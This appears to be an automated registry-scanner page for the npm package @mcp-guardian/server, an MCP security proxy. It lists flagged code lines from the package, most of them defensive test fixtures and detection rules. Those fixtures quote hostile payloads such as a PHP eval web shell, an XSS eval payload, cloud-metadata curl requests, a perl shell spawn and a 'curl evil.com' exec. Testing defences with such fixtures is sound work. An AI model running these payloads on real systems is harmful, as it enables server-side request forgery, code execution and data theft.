npm not analyzable

@mcp-guardian/server

v4.1.8

npm

Security, cost, and health governance proxy for MCP infrastructure — three-layer detection engine (regex + schema + LLM), monorepo, corpus, CI/CD

maintainer: rudraneel93
license: MIT
first seen: 2026-05-30
last seen: 2026-06-11
releases · 30d: 33
short id

Drift inferred · capture-to-capture

HIGH 2026-06-08 code analysis flagged committed secret ×7, dynamic code execution ×4 in rudraneel93/mcp-guardian

capabilities 0 tools

transport stdio · http counts 0 tools · 0 res · 0 prompts permission surface via code analysis

no tools enumerated yet for this server.

skills & danger signals npm-tarball

prompt-surface shipped agent-instruction files + hidden-content / dangerous-code findings — quoted from the analyzed source

analyzed v4.1.8 · analyzer v18 · 10h ago

danger signals19

dynamic code executioneval()rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/generate-analysis-adv-fixtures.mjs:221'<img src=x onerror=eval(atob("aWdub3Jl"))>',
dynamic code executioneval()rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/generate-uploaded-bypass-fixtures.mjs:42{ text: 'eval(base64_decode(payload))' },
dynamic code executioneval()rudraneel93-mcp-guardian-56b1c51/scripts/generate-corpus-fixtures.mjs:44{ toolName: 'template_render', arguments: { template: '<?php eval($_GET["x"]); ?>', data: {} }, expected: 'block', category: 'polyglot-injection', ruleHint: 'php-js-polyglot' },
dynamic code executionnew Function()rudraneel93-mcp-guardian-56b1c51/scripts/generate-corpus-fixtures.mjs:65{ toolName: 'execute_code', arguments: { code: "new Function('return process.env.SECRET')()", language: "javascript" }, expected: 'block', category: 'dangerous-js', ruleHint: 'function-ctor' },
suspicious endpoint169.254.169.254 (cloud metadata)rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/generate-analysis-adv-fixtures.mjs:102Buffer.from('curl http://169.254.169.254/latest/meta-data', 'utf8').toString('base64'),
suspicious endpoint169.254.169.254 (cloud metadata)rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/generate-comprehensive-generated.mjs:42{ id: 'gen-shell-002', category: 'shell', toolName: 'run', args: { code: 'curl http://169.254.169.254/latest/meta-data/' }, expected: 'block' },
suspicious endpoint169.254.169.254 (cloud metadata)rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/generate-custom-attacks.mjs:43{ id: 'adv-024', category: 'ssrf-evasion', toolName: 'search', arguments: { url: 'http://169.254.169.254/latest/meta-data/' }, ruleHint: 'block-dangerous-urls' },
suspicious endpoint169.254.169.254 (cloud metadata)rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/generate-mcpg-catalog-attacks.mjs:98{ id: 'adv-ssrf-002', category: 'ssrf', toolName: 'search', arguments: { url: 'http://169.254.169.254/latest/meta-data/' } },
suspicious endpoint169.254.169.254 (cloud metadata)rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/generate-uploaded-bypass-fixtures.mjs:43{ q: 'curl http://169.254.169.254/latest/meta-data' },
suspicious endpoint169.254.169.254 (cloud metadata)rudraneel93-mcp-guardian-56b1c51/scripts/generate-corpus-fixtures.mjs:126{ toolName: 'execute_command', arguments: { command: "curl -s http://169.254.169.254/latest/meta-data/" }, expected: 'block', category: 'command-injection', ruleHint: 'cloud-meta' },
suspicious endpoint169.254.169.254 (cloud metadata)rudraneel93-mcp-guardian-56b1c51/scripts/generate-enterprise-corpus.mjs:167['puppeteer_navigate', { url: 'http://169.254.169.254/latest/meta-data/' }, 'metadata-ip'],
suspicious endpoint169.254.169.254 (cloud metadata)rudraneel93-mcp-guardian-56b1c51/scripts/lib/attack-learning-eval-core.ts:144'Blocked URL http://169.254.169.254/latest/meta-data/',
committed secretprivate keyrudraneel93-mcp-guardian-56b1c51/adversarial-harness/exported/secret_rules_meta.json:470-----B…(31 chars, redacted)
committed secretprivate keyrudraneel93-mcp-guardian-56b1c51/adversarial-harness/python/comprehensive_test_harness.py:317-----B…(31 chars, redacted)
committed secretOpenAI keyrudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/generate-uploaded-bypass-fixtures.mjs:109sk-pro…(50 chars, redacted)
committed secretprivate keyrudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/generate-uploaded-bypass-fixtures.mjs:110-----B…(31 chars, redacted)
committed secretGoogle API keyrudraneel93-mcp-guardian-56b1c51/src/agentic/red-team/attack-generator.ts:97AIzaSy…(39 chars, redacted)
committed secretprivate keyrudraneel93-mcp-guardian-56b1c51/src/scanners/secret-rules.ts:80-----B…(31 chars, redacted)
committed secretprivate keyrudraneel93-mcp-guardian-56b1c51/src/utils/mtls-config.ts:114-----B…(27 chars, redacted)

code evidence v4.1.8 · npm-tarball

evidence-backed findings quoted directly from the published source artifact — not inferred

last analysis: too-large · showing evidence from the last successful analysis (6d ago)

filesystem 98

fs rudraneel93-mcp-guardian-56b1c51/adversarial-harness/node/concurrency-latency.test.mjs :5 import { writeFileSync, mkdirSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/adversarial-harness/node/proxy-pipeline.test.mjs :7 import { readFileSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/adversarial-harness/node/streaming-race.test.mjs :5 import { readFileSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/adversarial-harness/run-harness.mjs :7 import { writeFileSync, mkdirSync, readFileSync, existsSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/batch-node-eval.ts :5 import { readFileSync, readdirSync, statSync, writeFileSync, mkdirSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/compare-node-python.ts :5 import { readFileSync, readdirSync, statSync, writeFileSync, mkdirSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/export-evasion-attacks.mjs :5 import { readFileSync, readdirSync, statSync, writeFileSync, mkdirSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/export-harness-rules.ts :5 import { writeFileSync, mkdirSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/generate-adversarial-report.mjs :5 import { readFileSync, writeFileSync, mkdirSync, existsSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/generate-analysis-adv-fixtures.mjs :6 import { writeFileSync, mkdirSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/generate-comprehensive-generated.mjs :5 import { mkdirSync, writeFileSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/generate-custom-attacks.mjs :5 import { writeFileSync, mkdirSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/generate-matrix-fixtures.mjs :5 import { writeFileSync, mkdirSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/generate-mcpg-catalog-attacks.mjs :6 import { writeFileSync, mkdirSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/generate-uploaded-bypass-fixtures.mjs :6 import { writeFileSync, mkdirSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/run-node-tests.mjs :6 import { readFileSync, writeFileSync, mkdirSync, existsSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/setup-python-venv.mjs :6 import { existsSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/apps/cloud/scripts/migrate.mjs :6 import { readFileSync, readdirSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/apps/cloud/scripts/sync-default-policy-embed.mjs :3 import { readFileSync, writeFileSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/benchmarks/concurrent-multi-proxy.ts :12 import { mkdirSync, readFileSync, writeFileSync, existsSync, mkdtempSync, rmSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/benchmarks/concurrent-proxy-tool-calls.ts :19 import { mkdirSync, writeFileSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/benchmarks/concurrent-tool-calls.ts :16 import { mkdirSync, writeFileSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/benchmarks/lib/multi-proxy-worker.ts :6 import { writeFileSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/benchmarks/proxy-slo-by-concurrency.ts :12 import { mkdirSync, writeFileSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/corpus/run-eval.ts :6 import { readFileSync, readdirSync, writeFileSync, statSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/packages/cli/src/index.ts :3 import { readFileSync, existsSync } from "node:fs";
fs rudraneel93-mcp-guardian-56b1c51/packages/core/src/autoencoder-detector.ts :27 import { existsSync, readFileSync, writeFileSync, mkdirSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/packages/core/src/confusables.ts :5 import { readFileSync, existsSync } from "node:fs";
fs rudraneel93-mcp-guardian-56b1c51/packages/core/src/manifest.ts :2 import { readFileSync, writeFileSync, mkdirSync, existsSync } from "node:fs";
fs rudraneel93-mcp-guardian-56b1c51/render-start.js :4 import { readFileSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/reports/enterprise-attack-sim/enterprise-attack-simulator.ts :15 import * as fs from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/reports/enterprise-attack-sim/generate-dashboard.ts :6 import * as fs from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/sca/live-proxy-attack-simulator.ts :11 import * as fs from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/scenarios/real-life/run-continuous-live-attack.mjs :15 } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/scenarios/real-life/run-official-filesystem-scenario.mjs :22 } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/scenarios/real-life/run-real-mcp-swarm.mjs :10 import { existsSync, readFileSync, writeFileSync, mkdirSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/agent-proxy-traffic.mjs :10 import { readFileSync, writeFileSync, mkdirSync, mkdtempSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/ai/export-training-data.ts :7 import { writeFileSync, mkdirSync, existsSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/ai/train-tenant-model.ts :6 import { writeFileSync, existsSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/api-server.cjs :4 const fs = require('fs');
fs rudraneel93-mcp-guardian-56b1c51/scripts/compliance-evidence-check.mjs :2 import { existsSync, readFileSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/continuous-red-team.mjs :11 import { existsSync, readFileSync, writeFileSync, mkdirSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/control-plane/run-parity-harness.mjs :2 import { readFileSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/export-tenant-bundle.mjs :10 import { mkdirSync, writeFileSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/extract-soc-panels.mjs :1 import fs from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/full-cost-report.cjs :2 const fs = require('fs');
fs rudraneel93-mcp-guardian-56b1c51/scripts/generate-attack-learning-charts.ts :5 import { existsSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/generate-ci-token.mjs :20 import { existsSync, readFileSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/generate-compliance-evidence.mjs :22 import { existsSync, readFileSync, writeFileSync, mkdirSync, readdirSync, statSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/generate-compliance-report.mjs :6 import { existsSync, readFileSync, mkdirSync, writeFileSync, readdirSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/generate-corpus-fixtures.mjs :6 import { writeFileSync, mkdirSync, existsSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/generate-enterprise-corpus.mjs :6 import { writeFileSync, mkdirSync, rmSync, existsSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/generate-full-report.cjs :4 const fs = require('fs');
fs rudraneel93-mcp-guardian-56b1c51/scripts/generate-pen-test-report.cjs :6 const { readFileSync, writeFileSync, existsSync } = require('node:fs');
fs rudraneel93-mcp-guardian-56b1c51/scripts/generate-sbom.mjs :8 import { readFileSync, writeFileSync, mkdirSync, existsSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/lib/attack-learning-eval-core.ts :4 import { existsSync, mkdtempSync, readFileSync, rmSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/live-policy-test.cjs :2 const { readFileSync } = require('fs');
fs rudraneel93-mcp-guardian-56b1c51/scripts/live-scenario-test.cjs :22 const { readFileSync } = require('fs');
fs rudraneel93-mcp-guardian-56b1c51/scripts/long-attack-learning-eval.ts :5 import { mkdirSync, writeFileSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/multi-model-audit.cjs :6 const { readFileSync } = require('fs');
fs rudraneel93-mcp-guardian-56b1c51/scripts/package-enterprise-evidence.mjs :6 import { mkdirSync, copyFileSync, existsSync, writeFileSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/postpack-npm-deps.mjs :3 import { readFileSync, writeFileSync, unlinkSync, existsSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/prepack-npm-deps.mjs :8 import { readFileSync, writeFileSync, existsSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/proxy-cost-live.cjs :5 const { readFileSync } = require('fs');
fs rudraneel93-mcp-guardian-56b1c51/scripts/proxy-cost-test.cjs :4 const { readFileSync } = require('fs');
fs rudraneel93-mcp-guardian-56b1c51/scripts/real-life-tui-prep.cjs :5 const { writeFileSync, mkdirSync, existsSync } = require('fs');
fs rudraneel93-mcp-guardian-56b1c51/scripts/run-dogfood-scenario.cjs :7 const { readFileSync, writeFileSync, mkdirSync, rmSync, existsSync } = require('fs');
fs rudraneel93-mcp-guardian-56b1c51/scripts/run-e2e-tui.cjs :25 } = require('fs');
fs rudraneel93-mcp-guardian-56b1c51/scripts/run-live-ai-learning.cjs :6 const { readFileSync, writeFileSync, mkdirSync, rmSync, existsSync } = require('fs');
fs rudraneel93-mcp-guardian-56b1c51/scripts/run-live-attack-matrix.cjs :7 const { readFileSync, writeFileSync, mkdtempSync, unlinkSync } = require('fs');
fs rudraneel93-mcp-guardian-56b1c51/scripts/run-live-tui-demo.cjs :10 const { readFileSync } = require('fs');
fs rudraneel93-mcp-guardian-56b1c51/scripts/schedule-threat-discovery.mjs :20 import { existsSync, readFileSync, writeFileSync, mkdirSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/security-swarm/calibrate-semantic.ts :6 import { writeFileSync, mkdirSync, readFileSync, existsSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/security-swarm/probe-user-servers.mjs :6 import { readdirSync, readFileSync, existsSync, writeFileSync, mkdirSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/security-swarm/run-auto-threat-research.ts :5 import { readFileSync, existsSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/security-swarm/run-red-team-personas.ts :5 import { readFileSync, writeFileSync, mkdirSync, existsSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/security-swarm/run-threat-lab.ts :5 import { readFileSync, writeFileSync, mkdirSync, existsSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/security-swarm/run-tool-watch.ts :5 import { readFileSync, writeFileSync, mkdirSync, existsSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/security-swarm/schedule-analysis.mjs :7 import { existsSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/security-swarm/smoke-auto-threat-research-e2e.ts :6 import { mkdtempSync, mkdirSync, existsSync, readFileSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/seed-live-data.ts :3 import { writeFileSync, existsSync, mkdirSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/serve-dashboard.mjs :9 import { existsSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/simulate-attack-learning-stream.ts :5 import { mkdirSync, writeFileSync } from 'fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/test-ai-engine.cjs :3 const { readFileSync, writeFileSync } = require('fs');
fs rudraneel93-mcp-guardian-56b1c51/scripts/validate-npm-pack.mjs :7 import { readFileSync, unlinkSync, existsSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/verify-npm-deps-resolvable.mjs :10 import { readFileSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/verify-npm-registry-install.mjs :10 import { mkdtempSync, rmSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/scripts/verify-version-alignment.cjs :6 const { readFileSync } = require('fs');
fs rudraneel93-mcp-guardian-56b1c51/security-swarm/agents/analysis-report.mjs :4 import { readFileSync, writeFileSync, mkdirSync, existsSync, readdirSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/security-swarm/agents/auto-threat-research.mjs :9 import { existsSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/security-swarm/agents/evasion-generate.mjs :6 import { readFileSync, writeFileSync, mkdirSync, readdirSync, existsSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/security-swarm/agents/plain-english-report.mjs :4 import { readFileSync, writeFileSync, mkdirSync, existsSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/security-swarm/agents/red-team-personas.mjs :8 import { existsSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/security-swarm/agents/report-synthesize.mjs :5 import { readFileSync, writeFileSync, mkdirSync, existsSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/security-swarm/agents/scout.mjs :6 import { writeFileSync, mkdirSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/security-swarm/agents/shadow-red-team.mjs :8 import { existsSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/security-swarm/agents/threat-lab.mjs :9 import { existsSync } from 'node:fs';
fs rudraneel93-mcp-guardian-56b1c51/security-swarm/agents/tool-watch.mjs :8 import { existsSync } from 'node:fs';

shell / exec 47

shell rudraneel93-mcp-guardian-56b1c51/adversarial-harness/run-harness.mjs :6 import { spawnSync } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/compare-node-python.ts :8 import { spawnSync } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/generate-uploaded-bypass-fixtures.mjs :92 { q: 'perl -e \'exec("/bin/sh")\'"' },
shell rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/run-node-tests.mjs :5 import { spawnSync } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/setup-python-venv.mjs :5 import { spawnSync } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/benchmarks/concurrent-multi-proxy.ts :11 import { spawn, type ChildProcess } from 'child_process';
shell rudraneel93-mcp-guardian-56b1c51/benchmarks/run.ts :12 import { spawn, ChildProcess } from 'child_process';
shell rudraneel93-mcp-guardian-56b1c51/examples/plugins/custom-secret-pattern.js :12 while ((match = re.exec(text)) !== null) {
shell rudraneel93-mcp-guardian-56b1c51/packages/core/src/argument-scanner.ts :595 /\brequire\s*$\s*['"]child_process['"]\s*$/i,
shell rudraneel93-mcp-guardian-56b1c51/packages/core/src/local-semantic-fallback.ts :33 const m = p.re.exec(text);
shell rudraneel93-mcp-guardian-56b1c51/packages/core/src/regex-scanner.ts :201 const match = rule.pattern.exec(text);
shell rudraneel93-mcp-guardian-56b1c51/packages/core/src/transports/stdio.ts :1 import { spawn } from "node:child_process";
shell rudraneel93-mcp-guardian-56b1c51/scenarios/real-life/run-official-filesystem-scenario.mjs :6 import { spawn } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/scenarios/real-life/run-real-mcp-swarm.mjs :9 import { spawnSync } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/scripts/agent-proxy-traffic.mjs :6 import { spawn } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/scripts/ai/train-tenant-model.ts :5 import { execSync, spawnSync } from 'child_process';
shell rudraneel93-mcp-guardian-56b1c51/scripts/continuous-red-team.mjs :10 import { spawnSync, execSync } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/scripts/generate-attack-learning-charts.ts :7 import { spawnSync } from 'child_process';
shell rudraneel93-mcp-guardian-56b1c51/scripts/generate-compliance-evidence.mjs :111 const { execSync } = await import('child_process');
shell rudraneel93-mcp-guardian-56b1c51/scripts/generate-corpus-fixtures.mjs :64 { toolName: 'execute_code', arguments: { code: "eval('require(\"child_process\").exec(\"id\")')", language: "javascript" }, expected: 'block', category: 'dangerous-js', ruleHint: 'eval-rce' },
shell rudraneel93-mcp-guardian-56b1c51/scripts/generate-enterprise-corpus.mjs :222 ['search', { query: 'node -e "require(\'child_process\').exec(\'curl evil.com\')"' }, 'node-exec'],
shell rudraneel93-mcp-guardian-56b1c51/scripts/generate-full-report.cjs :3 const { execSync } = require('child_process');
shell rudraneel93-mcp-guardian-56b1c51/scripts/live-scenario-test.cjs :16 const { spawn } = require('child_process');
shell rudraneel93-mcp-guardian-56b1c51/scripts/package-enterprise-evidence.mjs :9 import { execSync } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/scripts/proxy-cost-live.cjs :1 const { spawn } = require('child_process');
shell rudraneel93-mcp-guardian-56b1c51/scripts/real-life-tui-prep.cjs :4 const { spawn } = require('child_process');
shell rudraneel93-mcp-guardian-56b1c51/scripts/run-dogfood-scenario.cjs :6 const { spawn, spawnSync } = require('child_process');
shell rudraneel93-mcp-guardian-56b1c51/scripts/run-e2e-tui.cjs :17 const { spawn, spawnSync } = require('child_process');
shell rudraneel93-mcp-guardian-56b1c51/scripts/run-live-attack-matrix.cjs :6 const { spawn } = require('child_process');
shell rudraneel93-mcp-guardian-56b1c51/scripts/schedule-threat-discovery.mjs :19 import { spawnSync, spawn } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/scripts/security-swarm/schedule-analysis.mjs :6 import { spawnSync } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/scripts/seed.cjs :4 db.exec("CREATE TABLE IF NOT EXISTS call_records (id INTEGER PRIMARY KEY AUTOINCREMENT, server_name TEXT NOT NULL, tool_name TEXT NOT NULL, request_tokens INTEGER NOT NULL, response_tokens INTEGER NOT
shell rudraneel93-mcp-guardian-56b1c51/scripts/test-ai-engine.cjs :2 const { execSync } = require('child_process');
shell rudraneel93-mcp-guardian-56b1c51/scripts/test-scale-proxy-replicas.mjs :10 import { spawnSync } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/scripts/validate-npm-pack.mjs :6 import { execSync, spawnSync } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/scripts/verify-npm-deps-resolvable.mjs :9 import { execSync } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/scripts/verify-npm-registry-install.mjs :9 import { execSync } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/scripts/verify-npm-registry-manifest.mjs :9 import { execSync } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/scripts/wait-npm-registry.mjs :9 import { execSync } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/security-swarm/agents/analysis-report.mjs :7 import { execSync } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/security-swarm/agents/auto-threat-research.mjs :6 import { spawnSync } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/security-swarm/agents/red-team-personas.mjs :5 import { spawnSync } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/security-swarm/agents/report-synthesize.mjs :8 import { execSync } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/security-swarm/agents/scout.mjs :5 import { spawnSync } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/security-swarm/agents/shadow-red-team.mjs :5 import { spawnSync } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/security-swarm/agents/threat-lab.mjs :6 import { spawnSync } from 'node:child_process';
shell rudraneel93-mcp-guardian-56b1c51/security-swarm/agents/tool-watch.mjs :5 import { spawnSync } from 'node:child_process';

network 28

net rudraneel93-mcp-guardian-56b1c51/adversarial-harness/scripts/generate-custom-attacks.mjs :157 { id: 'adv-117', category: 'html-inject', toolName: 'search', arguments: { html: '<img src=x onerror=fetch(`https://evil`)>' }, ruleHint: 'exfiltration-url' },
net rudraneel93-mcp-guardian-56b1c51/apps/cloud/components/LaunchDashboard.tsx :36 const res = await fetch('/api/dashboard/launch', {
net rudraneel93-mcp-guardian-56b1c51/apps/cloud/components/PolicyEditor.tsx :26 const res = await fetch('/api/v1/policy/rules');
net rudraneel93-mcp-guardian-56b1c51/apps/cloud/components/SettingsClient.tsx :16 const res = await fetch('/api/v1/keys/rotate', { method: 'POST' });
net rudraneel93-mcp-guardian-56b1c51/deploy/dashboard-spa-legacy/app.js :29 fetch(base + '/api/instances', { headers: headers() }),
net rudraneel93-mcp-guardian-56b1c51/deploy/dashboard-spa-legacy/lib/guardian-api.ts :473 return fetch(url, {
net rudraneel93-mcp-guardian-56b1c51/deploy/dashboard-spa/app.js :29 fetch(base + '/api/instances', { headers: headers() }),
net rudraneel93-mcp-guardian-56b1c51/deploy/dashboard-spa/app/components/agentic/BiometricsPanel.tsx :12 void fetch('/api/agentic/biometrics/anomalies')
net rudraneel93-mcp-guardian-56b1c51/deploy/dashboard-spa/app/components/agentic/InsurancePanel.tsx :19 const res = await fetch(path, {
net rudraneel93-mcp-guardian-56b1c51/deploy/dashboard-spa/app/components/agentic/ObservatoryPanel.tsx :26 const d = await fetch(url).then(r => r.json()) as ObservatorySnapshot;
net rudraneel93-mcp-guardian-56b1c51/deploy/dashboard-spa/app/components/agentic/ProvenanceTimelinePanel.tsx :30 void fetch('/api/provenance/timeline')
net rudraneel93-mcp-guardian-56b1c51/deploy/dashboard-spa/app/components/agentic/SandboxWizardPanel.tsx :30 const res = await fetch('/api/agentic/digital-twin/scorecard', {
net rudraneel93-mcp-guardian-56b1c51/deploy/dashboard-spa/app/components/agentic/SemanticPolicyPanel.tsx :7 const res = await fetch(path, {
net rudraneel93-mcp-guardian-56b1c51/deploy/dashboard-spa/app/components/agentic/ThreatModelPanel.tsx :127 const res = await fetch('/api/threat-model/generate', {
net rudraneel93-mcp-guardian-56b1c51/deploy/dashboard-spa/lib/guardian-api.ts :532 return fetch(url, {
net rudraneel93-mcp-guardian-56b1c51/packages/core/src/semantic-scanner.ts :105 const res = await fetch(`${llmConfig.ollamaBaseUrl}/api/generate`, {
net rudraneel93-mcp-guardian-56b1c51/packages/core/src/transports/http.ts :17 const initResponse = await fetch(config.url, {
net rudraneel93-mcp-guardian-56b1c51/packages/plugin-sdk/src/index.ts :86 const res = await fetch(registryUrl, {
net rudraneel93-mcp-guardian-56b1c51/packages/server/src/http-proxy.ts :7 import * as http from 'http';
net rudraneel93-mcp-guardian-56b1c51/render-start.js :3 import http from 'http';
net rudraneel93-mcp-guardian-56b1c51/scenarios/real-life/run-official-filesystem-scenario.mjs :7 import { createServer as createNetServer } from 'node:net';
net rudraneel93-mcp-guardian-56b1c51/scripts/api-server.cjs :3 const http = require('http');
net rudraneel93-mcp-guardian-56b1c51/scripts/control-plane/run-data-plane-soak.mjs :21 const res = await fetch(`${DATA_PLANE_URL.replace(/\/$/, '')}${PATHNAME}`, {
net rudraneel93-mcp-guardian-56b1c51/scripts/control-plane/run-parity-harness.mjs :28 const res = await fetch(`${baseUrl.replace(/\/$/, '')}${PARITY_PATH}`, {
net rudraneel93-mcp-guardian-56b1c51/scripts/dashboard-smoke-test.ts :22 const res = await fetch(`${BASE}${path}`, init);
net rudraneel93-mcp-guardian-56b1c51/scripts/export-tenant-bundle.mjs :26 const orgRes = await fetch(`${baseUrl}/api/v1/org`, {
net rudraneel93-mcp-guardian-56b1c51/scripts/verify-npm-deps-resolvable.mjs :23 const res = await fetch(url);
net rudraneel93-mcp-guardian-56b1c51/scripts/verify-npm-registry-manifest.mjs :20 const res = await fetch(url);

secrets 17

secrets rudraneel93-mcp-guardian-56b1c51/apps/cloud/app/api/webhooks/lemonsqueezy/route.ts :15 const secret = process.env.LEMONSQUEEZY_WEBHOOK_SECRET?.trim();
secrets rudraneel93-mcp-guardian-56b1c51/apps/cloud/lib/license.ts :12 const secret = process.env.LICENSE_JWT_SECRET ?? process.env.AUTH_SECRET;
secrets rudraneel93-mcp-guardian-56b1c51/apps/cloud/lib/oauth-providers.ts :9 const googleSecret = process.env.AUTH_GOOGLE_SECRET?.trim();
secrets rudraneel93-mcp-guardian-56b1c51/apps/cloud/lib/pro-license-keys.ts :7 const secret = process.env.AUTH_SECRET ?? 'dev';
secrets rudraneel93-mcp-guardian-56b1c51/apps/cloud/scripts/register-pro-license.mjs :37 const secret = process.env.AUTH_SECRET;
secrets rudraneel93-mcp-guardian-56b1c51/apps/cloud/tests/license-api.test.ts :16 process.env.AUTH_SECRET = 'test-license-api-secret';
secrets rudraneel93-mcp-guardian-56b1c51/apps/cloud/tests/license.test.ts :11 process.env.AUTH_SECRET = 'test-secret-for-license';
